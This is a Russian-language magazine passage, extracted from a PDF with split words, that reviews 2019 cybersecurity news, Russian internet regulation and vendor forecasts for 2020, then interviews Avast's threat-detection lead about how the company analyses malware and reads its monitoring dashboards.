в  Запад ной  Гер мании.  Речь  идет  о  небезыз вес тном  интернет‐про вай дере
CB3ROB  и  веб‐хос тинге  Cyberbunker.  Гла вой  это го  пред при ятия  выс тупа ет
Свен  Олаф  Кам фуис  (Sven  Olaf  Kamphuis),  ранее  опи сывав ший  себя
как  «минис тра  телеком муника ций  и  инос тран ных  дел  Рес публи ки  Кибер‐ 
бункер».  На  сво ей  стра нице  в  Facebook  Кам фуис  выража ет  край нее  воз‐ 
мущение про исхо дящим, так как по немец ким законам интернет‐про вай деры
не могут нес ти ответс твен ность за дей ствия сво их кли ентов, если толь ко, гру‐ 
бо говоря, не всту пают в сго вор с ними.

«пуленеп робива емый»  хос тинг

РУНЕТ
16 апре ля 2019 года Гос дума   в треть ем чте нии законоп роект, нап‐ 
равлен ный на «защиту устой чивой работы интерне та в Рос сии в слу чае воз‐ 
никно вения  угро зы  его фун кци они рова ния  из‐за  рубежа».  Документ  быс тро
стал известен как законоп роект о «суверен ном интерне те» или «об изо ляции
Рунета»,  он  пре дус матри вал  вне сение  поп равок  в  законы  «О  свя зи»  и  «Об
информа ции, информа цион ных тех нологи ях и о защите информа ции».

одоб рила

Ком пании  Facebook  и  Twitter  по‐преж нему  не  локали зова ли  базы  дан ных
поль зовате лей  в  Рос сии,  то  есть  не  перенес ли  дан ные  рос сий ских  поль‐ 
зовате лей на тер риторию РФ. В свя зи с этим пред ста вите ли Рос комнад зора
нап равили ком пани ям уве дом ления о необ ходимос ти соб людения закона, и,
хотя над зорное ведомс тво получи ло отве ты от Facebook и Twitter, они не удов‐ 
летво рили  пред ста вите лей  Рос комнад зора,  в  час тнос ти  из‐за  того,  что  «не
содер жали кон кре тики». В ито ге в апре ле текуще го года соци аль ные сети 
   на 3000 руб лей каж дая.

бы‐ 
ли ош тра фова ны

Рос комнад зор    от  ряда  круп ных  VPN‐сер висов  под клю чить ся
к  государс твен ной  информа цион ной  сис теме  (ФГИС).  Напом ню,  что  ФГИС
содер жит све дения о ресур сах, дос туп к которым дол жен быть заб локиро ван
на  тер ритории  РФ.  В  свою  оче редь,  закон  о  жес ткой  регуля ции  ано нимай‐ 
зеров и VPN, которые могут быть исполь зованы для обхо да бло киро вок (276‐
ФЗ),  всту пил  в  силу  еще  в  2018  году.  Мно гие  ком пании  заяви ли,  что
не намере ны выпол нять тре бова ния Рос комнад зора.

пот ребовал

Еще  в  кон це  июня  2019  года  гла ва  РКН  Алек сандр  Жаров  выражал
недоволь ство  тем,  что  в  мае  филь тра ция  зап рещен ного  кон тента  в  Google
упа ла  до  уров ня  око ло  67,5–70%,  хотя  еще  в  апре ле  из  поис ковой  выдачи
уда лялось  80%  зап рещен ного  кон тента.  В  ито ге  в  июле  2019  года  ста ло
извес тно, что Рос комнад зор   ком панию Google на 700 тысяч руб‐ 
лей, так как «ком пания не выпол нила тре бова ния закона „Об информа ции…“
по исклю чению из резуль татов поис ковой выдачи ссы лок на интернет‐ресур‐ 
сы с про тивоп равной информа цией».

ош тра фовал

Со вет Федера ции   в федераль ный закон «О наци ональ ной
пла теж ной  сис теме»  и  федераль ный  закон  «О  Цен траль ном  бан ке  Рос сий‐ 
ской Федера ции (Бан ке Рос сии)». Вне сен ные изме нения под разуме вают, что
поль зовате ли  Яндекс.Денег,  «QIWI  Кошель ка»,  WebMoney,  PayPal,  VK  Pay
и дру гих ано ним ных элек трон ных кошель ков боль ше не смо гут попол нять их
без иден тифика ции лич ности. Таким обра зом, попол нение кошель ков налич‐ 
ными, через пла теж ные тер миналы и офи сы опе рато ров сотовой свя зи, ско ро
оста нет ся в прош лом.

одоб рил поп равки

«Билайн», «МегаФон» и Tele2 сов мес тно с Рос связью уже готовят ся к вве‐ 
дению  ,  что  дол жно  огра ничить  серый  импорт  гад‐ 
жетов и помешать мошен никам исполь зовать укра ден ные телефо ны. В Рос‐ 
свя зи рас ска зали, что под готов ка к вве дению иден тифика ции по IMEI пре дус‐ 
матри вает запуск пилот ного про екта, который поз волит про тес тировать раз‐ 
личные биз нес‐про цес сы. Пло щад кой для  это го  про екта  ста нет  под ведомс‐ 
твен ный  Рос свя зи  Цен траль ный  науч но‐иссле дова тель ский  инсти тут  свя зи
(ЦНИ ИС), имен но он управля ет цен траль ной базой дан ных IMEI.

иден тифика ции  по  IMEI

2  декаб ря  2019  года  пре зидент  РФ  Вла димир  Путин  под писал  закон,
который всту пит в силу с 1 июля 2020 года и обя жет про изво дите лей 

  на  смар тфо ны  и  дру гие  устрой ства,
пред назна чен ные  для  про дажи  на  тер ритории  нашей  стра ны  (компь юте ры,
телеви зоры с фун кци ей Smart TV и про чие).

пре дус‐ 
танав ливать  рос сий ские  при ложе ния

Рос сий ская  ассо циация  тор говых  ком паний  и  товароп роиз водите лей
элек тро быто вой и компь ютер ной тех ники  (РАТЭК) обра щалась к пре зиден ту
с  прось бой  откло нить  законоп роект.  По  мне нию  пред при нима телей,  при‐ 
мене ние  закона  ока жет  негатив ное  воз дей ствие  на  отрасль,  ухуд шит  кон‐ 
курен тную  ситу ацию  в  сфе ре  рос сий ско го  соф та,  а  так же  при ведет  к  ее
монопо лиза ции.

ПРОГНОЗЫ
Те перь  пора  уде лить  вни мание  прог нозам  круп ных  ИБ‐ком паний  и  узнать,
каким они видят гря дущий 2020 год и какие трен ды пред ска зыва ют.

Group-IB
Са мой пуга ющей тен денци ей 2019 года экспер ты ком пании наз вали исполь‐ 
зование киберо ружия в откры тых воен ных опе раци ях. Ана лити ки счи тают, что
тема  кибер безопас ности  выш ла  на  пер вый  план  в  мировой  полити чес кой
повес тке.  Блэ каут  в  Венесу эле,  откры тые  воен ные  опе рации  в  кибер‐ 
пространс тве  меж ду  кон флик тующи ми  государс тва ми,  а  так же  наруше ние
работы  интерне та  в  отдель но  взя тых  стра нах  —  это  край не  опас ные  пре‐ 
цеден ты,  спо соб ные  при вес ти  к  соци аль ному  и  эко номи чес кому  ущер бу,
а так же дес табили зации ситу ации в государс твах.

В  целом  иссле дова тели  отсле жива ют  десят ки  кибер кри миналь ных  групп
и  про госу дарс твен ных  ата кующих,  целью  которых  явля ется  шпи онаж
и  саботаж.  За  иссле дуемый  пери од  были  активны  38  групп,  спон сиру емых
государс тва ми, из них семь — новые.

«Кон фликт меж ду государс тва ми при обрел новые фор мы, и киберак- 
тивность игра ет ведущую роль в этом про тивос тоянии. Фокус иссле- 
дова телей во всем мире пос тепен но сме щает ся с финан сово мотиви- 
рован ных  хакер ских  групп,  зараба тыва ющих  день ги  взло мом  раз- 
личных  орга низа ций,  в  сто рону  про госу дарс твен ных  ата кующих.  Их
активность оста ется незаме чен ной годами, нем ногие пре цеден ты ста- 
новят ся дос тоянием общес твен ности, но боль шинс тво из них говорит
о  том,  что  объ екты  кри тичес кой  инфраструк туры  мно гих  стран  уже
ском про мети рова ны.  Это  говорит  о  том,  что  мир ное  сущес тво вание
боль ше  невоз можно  в  отры ве  от  кибер безопас ности:  этот  фак тор
не  может  игно риро вать  ни  одно  государс тво,  ни  одна  кор порация,
ни один человек», — говорит Дмит рий Вол ков, тех ничес кий дирек тор,
руково дитель Threat Intelligence, соос нователь Group-IB.

ESET
В начале  2019  года  одним из  трен дов был  рост  слу чаев  крип тодже кин га —
скры того  май нин га  крип товалю ты  на  заражен ных  устрой ствах,  а  так же  рост
чис ла кибера так с исполь зовани ем умных гад жетов. На дан ный момент один
из глав ных трен дов — раз витие и пов семес тное внед рение машин ного обу‐ 
чения.  Хотя  до  соз дания  пол ноцен ного  искусс твен ного  интеллек та
еще далеко, машин ное обу чение ста новит ся одним из  клю чевых  тех нологи‐ 
чес ких дос тижений сов ремен ности.

Эк спер ты  ESET  отме чают,  что  очень  впе чат ляющи ми  тем пами  раз вива‐ 
ются  дип фей ки  —  тех нологии,  поз воля ющие  при  помощи  искусс твен ного
интеллек та  под делывать  голоса  и  лица  людей.  По  мне нию  ана лити ков  ком‐ 
пании, имен но эта тех нология в 2020 году ста нет одной из наибо лее вос тре‐ 
бован ных сре ди кибер прес тупни ков. В будущем дип фей ки могут спо собс тво‐ 
вать  еще более широко му  рас простра нению фаль шивых  новос тей,  поэто му
сле дует  скеп тичес ки  отно сить ся  даже  к  самым  реалис тичным  видео‐
или ауди оза писям.

Еще  один  тренд  2020  года  —  соз дание  умных  зда ний  и  целых  умных
городов. Более чем в 80% новых пос тро ек исполь зуют ся эле мен ты интерне та
вещей. При этом экспер ты обес поко ены тем, что умные города активно раз‐ 
раста ются,  а  их  сис темы  защиты  по‐преж нему  недос таточ но  раз виты.
Во мно гих умных гад жетах нет дос таточ но надеж ного про токо ла аутен тифика‐ 
ции,  а  в  некото рых  и  вов се  отсутс тву ет  какое‐либо  решение  для  информа‐ 
цион ной безопас ности.

Positive Technologies
Эк спер ты ком пании счи тают, что накоп ление проб лем ИБ в раз личных сфе рах
дос тига ет  пре дель ной  отметки.  Аппа рат ные  уяз вимос ти  пока  не  нанес ли
ущер ба, одна ко даль новид ные ком пании ста ли вклю чать в свою модель угроз
такие  проб лемы  уже  сей час,  понимая,  что,  ког да  прес тупни ки  научат ся  экс‐ 
плу ати ровать подоб ные уяз вимос ти, защищать ся будет уже поз дно.

А  вот  APT‐ата ки,  нап ротив,  «отра бота ли»  по  пол ной,  угро жая  не  толь ко
биз несу, но и государс твен ным учрежде ниям и объ ектам инфраструк туры.

Но вос ти  об  утеч ках  дан ных  в  этом  году  ста ли осо бен но  гром кими,  в  том
чис ле и потому,  что  зло умыш ленни ки пред положи тель но объ еди нили  утеч ки
прош лых лет в еди ный мас сив для тор говли на теневом рын ке более пол ными
циф ровыми  досье  поль зовате лей.  Мно гие  тех нологии  име ют  свою  тем ную
сто рону,  которая  может  вый ти  из‐под  кон тро ля  и  стать  угро зой  для  всех.
С гря дущим рас простра нени ем сетей 5G экспер ты свя зыва ют воз никно вение
новых рис ков для телеком‐опе рато ров. Раз витие искусс твен ного интеллек та
и тех нологий машин ного обу чения не толь ко дела ет жизнь удоб нее, но и дает
мощ ный  тол чок  для  совер шенс тво вания  инс тру мен тов  взло ма,  а  так же
для появ ления новых методов соци аль ной инже нерии.

Avast
Спе циалис ты  Avast  счи тают,  что  в  2020  году  зло умыш ленни ки  будут  искать
новые методы рас простра нения  угроз  и  совер шенс тво вать методы  зараже‐ 
ния  (это  могут  быть  рас сылка  вре донос ных  писем,  кра жа  вхо дящей  поч ты,
шпи онаж, экс плу ата ция уяз вимос тей RDP).

«Кибер прес тупни ки  все  вре мя  ищут  новые  спо собы,  что бы  обой ти
сов ремен ные решения безопас ности и доб рать ся до конеч ного поль- 
зовате ля. Самое уяз вимое мес то — человек, поэто му зло умыш ленни- 
кам важ но,  что бы их пись ма доходи ли до жертв и не бло киро вались
сис темами  безопас ности.  Но,  пос коль ку  вре донос ные  пись ма  рас- 
сыла ются не пер вый год и мно гие люди уже зна ют, как они выг лядят,
хакеры стре мят ся сде лать их мак сималь но прав доподоб ными. Их дей- 
стви тель но  ста новит ся  все  слож нее  с  ходу  обна ружи вать,  а  зна чит,
про цент успешных атак повыша ется», — ком менти рует Якуб Крус тек.

Так же  экспер ты  прог нозиру ют,  что  зло умыш ленни ки  будут  пытать ся  най ти
уяз вимос ти  в  устрой ствах  Apple.  Никола ос  Хри саидос,  гла ва  отде ла  иссле‐ 
дова ния  угроз  и  защиты  для  мобиль ных  устрой ств  Avast,  уве рен,  что  в  сле‐ 
дующем  году  в  iOS  обна ружат  боль шое  количес тво  уяз вимос тей —  при чем
как иссле дова тели, так и хакеры. Вре донос ные и фей ковые при ложе ния будут
все чаще попадать в офи циаль ные магази ны при ложе ний.

Ожи дает ся  боль ше  атак,  нацелен ных  на  умные  устрой ства.  Количес тво
умных  устрой ств  рас тет,  но  не  все  поль зовате ли  готовы  соб людать  тех нику
безопас ности при работе с ними. Сог ласно дан ным Avast Smart Home Report
2019,  44%  рос сий ских  умных  домов  име ют  как  минимум  одно  уяз вимое
устрой ство, которое ста вит под угро зу безопас ность всей сети.

«Умные  устрой ства  и  физичес кие  локации,  нап ример  умные  пар ки,
которые собира ют дан ные, очень удоб ны. Но людям ста новит ся слож- 
нее  кон тро лиро вать свою при ват ность  в  сети. Воз можно,  что  хакеры
будут боль ше инте ресо вать ся ком пани ями, собира ющи ми дан ные: так
они смо гут получить боль ше дан ных для про дажи в дар кне те», — объ- 
ясня ет ИБ‑спе циалис тка Анна Широко ва.

«Лабора тория Кас пер ско го»
Спе циалис ты  ком пании  называ ют  2019  год  годом  атак  вымога телей
на муници паль ные служ бы и отме чают, что эта тен денция, ско рее все го, сох‐ 
ранит ся в 2020‐м. Более того, зло умыш ленни ки все чаще выбира ют сво ими
целями орга низа ции, которые готовы зап латить зна читель ные сум мы за вос‐ 
ста нов ление  дан ных. Иссле дова тели  наз вали  этот метод  «целевым  вымога‐ 
тель ством».  Подоб ные  ата ки  ста новят ся  все  агрессив нее,  и  воз можно,  что
вско ре вмес то бло киров ки фай лов зло умыш ленни ки так же нач нут угро жать их
пуб ликаци ей.

Опе рации под лож ным фла гом дав но ста ли важ ным так тичес ким эле мен‐ 
том  для мно гих  APT‐групп,  и,  по мне нию  экспер тов,  эта  тен денция  про дол‐ 
жится  в  будущем:  прес тупные  груп пы  будут  стре мить ся  не  толь ко  избе жать
уста нов ления  их  авторс тва,  но  и  выс тавить  винова тым  кого‐то  дру гого.
Для дан ных целей могут, нап ример, исполь зовать ся уста нов ленные бэк доры,
которые  ассо циируют ся  с  дру гими  APT‐груп пиров ками.  Зло умыш ленни ки
могут не толь ко исполь зовать чужой код, но и намерен но сли вать свой, что бы
им вос поль зовались дру гие груп пиров ки и тем самым еще боль ше запута ли
общую кар тину.

Ожи дают  в  ком пании  и  рос та  чис ла  атак  на  инфраструк туру.  Так,  в  пос‐ 
ледние годы экспер ты наб людали целый ряд атак на объ екты кри тичес ки важ‐ 
ной  инфраструк туры,  и,  как  пра вило,  они  были  свя заны  с  опре делен ными
геопо лити чес кими  целями.  Зараже ние  про мыш ленных  объ ектов  пока  про‐ 
исхо дит  по  боль шей  час ти  из‐за  «тра дици онных»  вре донос ных  прог рамм,
но  сам  факт  зараже ний  показы вает,  какими  уяз вимыми  могут  быть  такие
пред при ятия. Малове роят но, что целевые ата ки на объ екты кри тичес ки важ‐ 
ной  инфраструк туры  ког да‐нибудь  ста нут  основным  полем  деятель нос ти
кибер прес тупни ков.  Но  геопо лити чес кие  кон флик ты  раз ворачи вают ся
на  фоне  нарас тающе го  вза имоп роник новения  физичес кого  мира  и  кибер‐ 
мира,  и  такие  кам пании  пре дос тавля ют  пра витель ствам  спо соб  воз мездия
на сты ке дип ломатии и воен ных дей ствий.

Так как вир туаль ная жизнь поль зовате лей перемес тилась из пер сональ ных
компь юте ров  в  мобиль ные  устрой ства,  некото рые  зло умыш ленни ки
это замети ли и быс тро при нялись раз рабаты вать методы атак на новые цели.

Зло умыш ленни ки  вкла дыва ют  боль шие  день ги  в  раз работ ку  новых  тех‐ 
нологий и чет ко понима ют, что сей час прак тичес ки у каж дого в кар мане есть
телефон, а информа ция на этих устрой ствах пред став ляет цен ность. Вряд ли
это изме нит ся в бли жай шем будущем. Инте рес но, что в этом году, сог ласно
прайс‐лис ту  бро кера  уяз вимос тей  Zerodium,  устой чивые  экс пло иты  для  An‐
droid ста ли дороже подоб ных для iOS.

Ма ло того что объ емы хра нящих ся дан ных пос тоян но рас тут — воз ника ет
опас ность уте чек осо бо чувс тви тель ных дан ных, в час тнос ти биомет ричес ких.
Так же  широко  обсужда емые  слу чаи  соз дания  под делок  с  помощью  ней‐ 
росетей  (дип фей ки)  повыша ют  веро ятность  таких  инци ден тов,  осо бен но
в  сочета нии  с  менее  оче вид ными  аудио‐  и  виде овек торами.  Не  сто ит
забывать о воз можнос ти авто мати зиро вать такие методы, а так же при менить
ИИ для про фили рова ния жертв и соз дания таких информа цион ных под делок.
Эти  спо собы  очень  похожи  на  то,  как  исполь зуют  соци аль ные  сети  в  ходе
пред выбор ной  аги тации.  Эта  тех нология  уже  при меня ется,  и  экспер ты  уве‐ 
рены, что рано или поз дно зло умыш ленни ки тоже нач нут ее экс плу ати ровать.

ОДНОЙ СТРО КОЙ

Сред няя утеч ка дан ных обхо дит ся ком пании в 3 920 000 дол ларов

Facebook — самое ска чива емое при ложе ние десяти летия

По пав в сеть, дан ные бан ков ских карт ока зыва ются в руках зло умыш ленни ков через два часа

Па роли password и 123456 по‐преж нему одни из самых популяр ных

Вли яние май нин говой мал вари сни зилось на 70%

Бо лее 60% всей спа мер ской активнос ти генери руют США, Рос сия и Укра ина

Толь ко 5,5% уяз вимос тей дей стви тель но исполь зуют ся для реаль ных атак

С 2015 года ата ки хак тивис тов сок ратились на 95%

С июля по сен тябрь 2019  года Google отпра вила более 12  тысяч пре дуп режде ний, опо вещая
поль зовате лей о «пра витель ствен ных» ата ках

Ры нок  интернет‐пиратс тва  в  Рос сии  показал  пер вое  падение  за  пять  лет:  его  объ ем  сос‐ 
тавил 63 500 000 дол ларов
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В  кон це  октября  ком пания  Avast  про вела
мероп риятие CyberSec & AI, в честь которо‐ 
го в штаб‐квар тиру ком пании в Пра ге были
приг лашены жур налис ты из раз ных стран. Я
тоже посетил это мероп риятие и пос мотрел
на  то,  как дела ют  зна мени тые на  весь мир
анти вирус ные про дук ты. А одной из наибо‐ 
лее  инте рес ных  бесед  был  рас сказ  гла вы
груп пы  детек тирова ния  угроз  Михала
Салата  о  том,  как  в  Avast  работа ют  с  мал‐ 
варью.

INFO

Чи тай  так же 
,  где  она  рас ска зала  о  недав ней

ата ке и о том, как неп росто в таких слу чаях пол‐ 
ностью лик видиро вать пос ледс твия.

ин тервью  с  CISO  ком пании  Avast
Джай лой  Балу

Жи вой  иллюс тра цией  к  этой  беседе  ста ло  таб ло  из  полуто ра  десят ков
монито ров, которое висит на сте не в отде ле Михала и демонс три рует раз ные
показа тели,  свя зан ные  с  детек тирова нием  мал вари  и  обновле нием  анти‐ 
вирус ных баз. Мы прош лись по наибо лее инте рес ным гра фикам и обсу дили
свя зан ные с ними реалии.

— Рас ска жите, чем каж дый день занима ется ваш отдел?
— Наша ежед невная работа — это идти в интернет и искать новые виды мал‐ 
вари,  новые  тех ники,  которые  экс плу ати руют ся  ата кующи ми,  и  защищать
наших  поль зовате лей  при  помощи  детек тирова ния  и  про чих  активных  мер.
Мы дол жны не отста вать,  а еще луч ше — быть нем ного впе реди ата кующих
и знать, как имен но они исполь зуют (или лома ют) тех нологии.

— Как имен но про исхо дит про цесс сбо ра сэм плов?
— В пер вую оче редь это ана лиз фай лов. Если мы детек тирова ли мал варь и у
нас нет для нее никаких меток, мои ребята заг ружа ют ее в дебаг гер и начина‐ 
ют раз бирать, что она дела ет, какие API вызыва ет.

— Какие дебаг геры вы исполь зуете?
—  Пре иму щес твен но  IDA  Pro,  мы  закупи ли  лицен зии  на  него.  Некото рые
пред почита ют  x64dbg  или  WinDbg,  но  все  зависит  от  того,  с  чем  имен но
понадо бит ся работать и кто с чем луч ше зна ком.

— Hydra еще не про бова ли?
— Некото рые ребята смот рели его, и оста лись очень доволь ны тем, что его
мож но прис пособить для необыч ных про цес сорных архи тек тур. В час тнос ти,
один из наших иссле дова телей исполь зовал эту воз можность, что бы решить
CTF. Вооб ще я за то, что бы каж дый при менял в работе те инс тру мен ты и спо‐ 
собы, которые ему удоб ны. Некото рые, нап ример, могут поч ти всег да обхо‐ 
дить ся  ста тичес ким  ана лизом,  дру гие  пред почита ют  динами чес кий.  Я  ста‐ 
раюсь не нас таивать на чем‐то опре делен ном в таких слу чаях.

— Пос ле того, как вы получи ли файл, и узна ли, что он дела ет
и как работа ет, какой сле дующий шаг?
— Сле дующий шаг — най ти харак терные приз наки, которые поз волят детек‐ 
тировать эту мал варь. Это могут быть адре са сер веров C&C, клю чи, какие‐то
дру гие  приз наки,  харак терные  для  исполь зуемых  спо собов  ком муника ции.
У нас есть два типа пра вил — одни для бэкен да, они помога ют мар кировать
мал варь, дру гие — пра вила детек тирова ния для эндпо интов, они уже работа‐ 
ют  на  компь юте рах  поль зовате лей.  При чина  такого  раз деления  в  том,  что
вирусо писа тели  всег да  про веря ют  свою  мал варь  на  всех  дос тупных  анти‐ 
виру сах, что бы сни зить веро ятность детек та. Поведен ческий ана лиз, который
работа ет у нас в обла ке и недос тупен по зап росу, тоже дает допол нитель ное
неболь шое пре иму щес тво.

— Пока я сто ял здесь, я раз гля дывал ваше таб ло. Сна чала решил,
что оно по боль шей час ти декора тив ное, но чем боль ше смот рел,
тем инте рес нее ста нови лось. Не мог ли бы вы устро ить неболь -
шой тур и рас ска зать, какие гра фики наибо лее полез ны в реаль -
нос ти?
— Я все же вынуж ден приз нать ся, что таб ло дей стви тель но боль ше декора‐ 
тив ное, потому что для всей этой информа ции нас тро ены опо веще ния. Если
что‐то пой дет не так, то человек, который отве чает за эту вещь, быс тро узна ет
о  про изо шед шем.  Вот,  нап ример,  мож но  уви деть,  что  были  проб лемы
с выходом апдей та, и понадо билось 10 минут для их устра нения.

Гра фик Streaming Updates — сле ва вни зу, StatsSubmits connections,
который мы тоже зат ронули, — вто рой свер ху в пра вом стол бце

Во обще,  потоко вые  обновле ния  (streaming  updates)  —  это  фак тичес кие
неболь шие  пакеты  дан ных,  которые  мы  получа ем  при  детек тирова нии  мал‐ 
вари . Мы тес тиру ем каж дый детект и про веря ем, будет ли он работать на тех
фай лах, на которых дол жен, и не задева ет ли что‐то, что мы счи таем чис тым.
Каж дая колон ка со зна ком плю са здесь озна чает добав ленные сра баты вания,
а с минусом — уда лен ные. Уда ляем мы их тог да, ког да узна ем о лож нополо‐ 
житель ном сра баты вании или о том, что пра вила нак ладыва ются друг на дру‐ 
га.  Колон ки  UR —  это,  нап ример,  детект  по  URL.  Если мы  убеж даем ся,  что
сер вер боль ше не рас простра няет мал варь, мы уда ляем из базы его адрес.

Гра фики свер ху — говорят о под дер жке ста рых вер сий. Мы под держи ваем
мно гие  вер сии  Windows,  которые  уже  объ явле ны  уста рев шими  или  ско ро
попол нят  этот  спи сок.  Там  работа ют  ста рые  вер сии  Avast.  Мы,  конеч но,
не рас счи тыва ем на  то,  что  все  всег да будут обновлять ся  на  новую вер сию
с ее выходом. Поэто му мы сле дим в том чис ле и за их работой.

Даль ше  мы  видим  раз мер  VPS  (так  мы  называ ем  анти вирус ную  базу)
для раз ных вер сий. Мы ста раем ся по воз можнос ти умень шать ее.

— Как вы это го дос тига ете?
— Если  новое  пра вило более широкое  или более  эффектив ное, мы  исклю‐ 
чаем ста рые, более узкие пра вила. Дваж ды в день выходит пол ное обновле‐ 
ние  базы.  Нап ример,  если  кто‐то  уехал  на  канику лы  и  потом  вер нулся,  он
получит обновле ние в наибо лее ком пак тном виде.

— Что про изош ло вот здесь в 8:20, гра фик StatsSubmits
connections?
—  Мы  выпус тили  обновле ние  базы  с  эвристи чес кими  пра вила ми,  которые
нап равле ны  на  поиск  чего‐то  кон крет ного.  Соот ветс твен но,  вырос ло  чис ло
соеди нений, пос тупа ющих от кли ентов, которые нам сооб щают о наход ках.

— А вот эти три раз ноцвет ные панели что озна чают?
—  Это  шту ка,  которую  мы  называ ем  Cyber  Capture,  это  ска нер,  который
работа ет у нас на бэкен де. Мы его исполь зуем для самых новых фай лов. Если
поль зователь —  это  пер вый  человек  во  всем мире,  который  запус кает  этот
файл, мы ему пред лага ем отпра вить этот файл на ана лиз. Если он сог ласит ся,
то  мы можем  про верить  поведе ние  в  кон тро лиру емом  окру жении  и  понять,
что  это  такое.  Зачас тую  новые фай лы —  это  либо  апдей ты  соф та,  которые
ско ро  уви дят  и  дру гие  поль зовате ля,  либо  мал варь.  В  таком  слу чае  ты
можешь  быть  единс твен ным,  кто  видит  эту  кон крет ную  вер сию,  либо
это началась новая кам пания.

— А номер — это..
—  Это  хеш.  Номера  здесь  берут ся  из  OdinBox.  Это  средс тво  на  осно ве
машин ного обу чения, которое клас теризу ет фай лы, что бы най ти законо мер‐ 
ности. Номер здесь — это вер сия клас териза ции. Нап ример, вот это вер сия
номер 83. Вто рой номер — номер клас тера,  то есть груп пы фай лов. Тре тий
номер  —  это  тип  клас териза ции,  который  мы  исполь зовали  для  соз дания
модели. У нас есть нес коль ко моделей, и мы их сме няем вре мя от вре мени.
Цве товое раз деление здесь озна чает раз ные вари анты решений при детек‐ 
тирова нии. Зеленые — «чис тые» фай лы, крас ные — мал варь. Вот этот боль‐ 
шой крас ный квад рат — это явно мал варь одной груп пы, раз она объ еди нена
в один клас тер. Кста ти, явно что‐то необыч ное, потому что клас теры вирус ных
семей ств чаще все го име ют при мер но оди нако вый раз мер.

— Это не червь Brontok из вот того гра фика?
— Нет, это будет что‐то новое, потому что клас теры — толь ко по новым видам
фай лов.  Что  до  жел того  квад рата,  то  это  подоз ритель ные  фай лы.  Либо
какие‐то инстал ляторы, которые пыта ются что‐то про тащить в сис тему, либо
ути литы  из  «серой  зоны»,  которые  мож но  счи тать  или  не  счи тать  мал варью
в  зависи мос ти  от  точ ки  зре ния.  Поль зователь  в  таких  слу чаях  сам  реша ет,
как ему пос тупить.

— Раз уж мы загово рили о вот этих хит‑парадах мал вари (Top de-
tections и Top malware files), рас ска жите, в чем раз ница меж ду
ними.
— Они  осно ваны  на  двух  раз ных  мет риках.  Top  detections —  это  приз наки,
по которым выяв лена мал варь. Нап ример, CVE‐2017‐0144 — это уяз вимость
Eternal Blue, и она час то встре чает ся нес мотря на то, что мно гие компь юте ры
уже запат чены. И все рав но мы видим мно го уяз вимых машин и зараже ний.
Как мы видим, пря мо сей час — более двух мил лионов попыток. Популяр ность
в колон ке рядом — это наша мет рика, которая поз воля ет понять, нас коль ко
час то  ста тис тичес ки  встре чают ся  инци ден ты  с  тем  же  наз вани ем  детек та.
А стро ки с оди нако выми наз вани ями (нап ример, Mandang) мы видим, потому
что тех ничес ки детек ты на осно ве раз ных приз наков счи тают ся раз ными.

Вто рой  топ,  Top  malware  files  осно ван  на  фай лах.  Один  детект  может  пок‐ 
рывать нес коль ко фай лов и наобо рот — один файл может вызывать нес коль‐ 
ко детек тирова ний. Так что это прос то слег ка дру гой спо соб смот реть на то
же самое.

Цвет ные квад ратики здесь — это визу аль ное пред став ление хеша фай ла, так
про ще работать с ними. Те же гра фики, кста ти, дос тупны с компь юте ра, и там
мож но клик нуть по хешу и пос мотреть под робнос ти: как час то мы видим этот
файл,  как  мно го  поль зовате лей  с  ним  стал кива ются,  ког да  мы  его  уви дели
впер вые и про чую ста тис тику и ссыл ки на полез ные вещи вро де резуль татов
динами чес кого ана лиза.

Ко лон ка Prevalence — это как раз чис ло поль зовате лей, у которых был этот
файл.  Нап ример,  вот  эту  адварь  RelevantKnowledge  попыта лись  запус‐ 
тить 903 тысячи поль зовате лей. Но иног да это очень малень кие циф ры. Нап‐ 
ример, вот тут мы видим еди ницу в гра фе Prevalence и 262 в гра фе Popularity,
это  зна чит,  что  какой‐то  поль зователь  безус пешно  пытал ся  открыть  этот
файл 262 раза. Час то люди прос то про дол жают кли кать на файл, потому что
не  понима ет,  почему  анти вирус  не  дает  его  запус кать  (хоть  он,  конеч но,
показы вает  сооб щение  об  угро зе).  Но  быва ет,  что  поль зователь  не  верит
или  дума ет,  что  ска чал  файл  из  доверен ного  источни ка  и  все  дол жно  быть
нор маль но.

— Перехо дим к глав ной показу хе. Вот это таб ло с кар той, где
показа но кто и кого ата кует в реаль ном вре мени. Нас коль ко
это показа тель но в реаль нос ти?
— Ну  да,  кар та  и  вот  этот  зем ной  шар,  конеч но,  выг лядят  наибо лее  кру то.
В  реаль нос ти  это  дан ные  толь ко  одно го  движ ка,  самого  пер вого  уров ня
защиты.  То  есть  то,  что  мы  бло киру ем  еще  до  того,  как  оно  про ника ет
на компь ютер. Это сра баты вания Web Shield,  которые про исхо дят,  ког да мы
заранее зна ем, что файл вре донос ный. По цве ту линий замет но, что боль шая
часть — это заб локиро ван ные URL. Для нас это наибо лее эффектив ный под‐ 
ход:  если мы видим,  что файл при ходит по одной и  той же ссыл ке, мы бло‐ 
киру ем  ее.  Кста ти,  если  бы  мы  показа ли  на  этом  экра не  все  угро зы,  то  он
был бы прос то плот но пок рыт лини ями.

Еще тут вид но дру гие типы информа ции. Нап ример, кру ги — это Wi‐Fi  In‐
spector находит уяз вимос ти в бес про вод ных сетях поль зовате лей. Это, кста‐ 
ти, не вклю чает сла бые пароли, которые сей час явля ются проб лемой номер
один  в  мире  IoT.  А  квад раты  —  это  вре донос ные  при ложе ния  для  Android,
которые мы детек тирова ли бла года ря Avast Mobile Security.

— Мож но ли ска зать, что вот это все вам не дает рас сла бить ся
никог да? Всег да ведь что‑нибудь да про исхо дит, вряд ли эти таб -
лицы и эти кар ты вдруг ста нут пус тыми и вы зай метесь улуч -
шени ями и опти миза цией.
— Ни о  каком покое,  конеч но же, меч тать  не при ходит ся. Но быва ют более
тихие момен ты — нап ример,  во  вре мя  новогод них  каникул — от Рож дес тва
и при мер но до кон ца янва ря вирус ных кам паний мень ше обыч ного.

Экскур сия по офи су Avast
Прой тись по такому офи су и не пофотог рафиро вать было решитель но невоз‐ 
можно, поэто му, приг лаша ют тебя на неболь шую экскур сию.

Вот так зда ние выг лядит сна ружи (офи циаль ный сни мок Avast).

А вот ресепшн на эта же. На сним ке пло хо вид но, но на его перед нюю сто рону
про еци рует ся ани мация с Пак маном.

Зо на отды ха с диваном и сто лика ми.

И вид из окна на Пра гу — на зависть мно гим офис ным работ никам.

Биб лиоте ка.

Га маки.

Зо на для тех, кто любит более активный отдых.

Бу фет — сер дце любого офи са.

Му зей ный экспо нат — компь ютер, на котором ког да‐то была соз дана пер вая
анти вирус ная прог рамма осно вате лей Avast. На стек ле напеча тан код вируса
Vienna, который она детек тила.

